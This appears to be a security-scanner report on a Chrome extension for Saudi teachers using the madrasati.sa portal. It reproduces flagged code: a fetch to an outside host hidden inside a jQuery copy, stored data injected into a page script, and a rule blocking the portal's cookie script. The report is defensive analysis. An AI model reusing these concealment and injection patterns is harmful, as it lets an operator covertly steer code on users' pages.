Security Warning: High Security Risk
تحضيري
ID: iclelabpkphlfifajflffldnlffhnigl
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- tahdiri.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
تبسيط تعديل واعداد الحصص للمعلم
اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749
At top-level inside what is otherwise a verbatim jQuery 3.6.1 source file, the script issues an unconditional fetch to https://wadeh.net/ta1.php (a domain unrelated to the extension's stated service tahdiri.com) and persists the JSON response into chrome.storage.local under key 'qqw'. Embedding a remote network call inside a vendor library is a concealment pattern, the endpoint is attacker-controlled, and the response is later read back and concatenated into a script URL that is injected into the page (see lines 4217-4219), giving the operator a live remote-configuration channel that drives in-page script behavior on every madrasati.sa page (a Saudi MoE portal used by ~100k teachers).
var al = '3.6.1', am = function(cF, cG) { return new am['fn']['init'](cF, cG); };fetch('https://wadeh.net/ta1.php')['then'](cF => { return cF['json']();})['then'](cF => { chrome['storage']['local']['set']({ 'qqw': JSON['stringify'](cF) })['then'](() => {});});The previously-fetched payload from wadeh.net (stored as 'qqw') is appended verbatim to the URL of an injected page-context script (myscript2.js). The injected script runs in the MAIN world of every schools.madrasati.sa page (matched by content_scripts entry in manifest.json) and reads its query string, so the wadeh.net operator can dynamically steer in-page behavior on a government education portal. The fetched value is treated as trusted instructions but originates from a non-product third-party domain.
function injectCode(a) { var b = document['createElement']('script'); b['src'] = a, b['onload'] = function() { this['remove'](); }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => { a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[ 'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));});The remote command-and-config call is hidden inside a file that otherwise reproduces the standard jQuery 3.6.1 source (variable names a0..af, the jQuery init wrapper, etc.), making the malicious behavior easy to miss during casual review and easy to attribute to 'just a jQuery bundle'. Hiding network exfiltration/configuration calls inside a renamed vendor library is an established obfuscation technique used to evade Web Store review.
fetch('https://wadeh.net/ta1.php')['then'](cF => { return cF['json']();})['then'](cF => { chrome['storage']['local']['set']({ 'qqw': JSON['stringify'](cF) })['then'](() => {});});The declarativeNetRequest ruleset silently blocks a specific cookie-handling script (vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12) loaded by the Saudi Ministry of Education's madrasati.sa portal. Suppressing an upstream cookie/security script on a government site is a tampering primitive: it can disable the site's session-handling or anti-fraud logic to give the extension's own injected code a freer hand, and the user has no UI surface that explains this network manipulation.
[ { "id": 1, "priority": 1, "action": { "type": "block" }, "condition": { "urlFilter": "https://vstedu.azureedge.net/v19/scripts/jquery.cookie.js?v=12" }, "domains": [ "schools.madrasati.sa", "external.madrasati.sa" ], "resourceTypes": [ "main_frame" ] }]By severity
Versions scanned
Showing 7 of 79 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 9.9.28 | 4 |
| 9.9.26 | 4 |
| 9.9.25 | 7 |
| 9.9.16 | 5 |
| 9.9.13 | 6 |
| 9.9.12 | 7 |
| 9.9.9 | 4 |
Files with findings
6 distinct paths — top paths by unique finding count:
- contentScript2.js17
- Sscript3.js8
- rule.json4
- Sscript.js4
- Sscript2.js3
- contentScript4.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.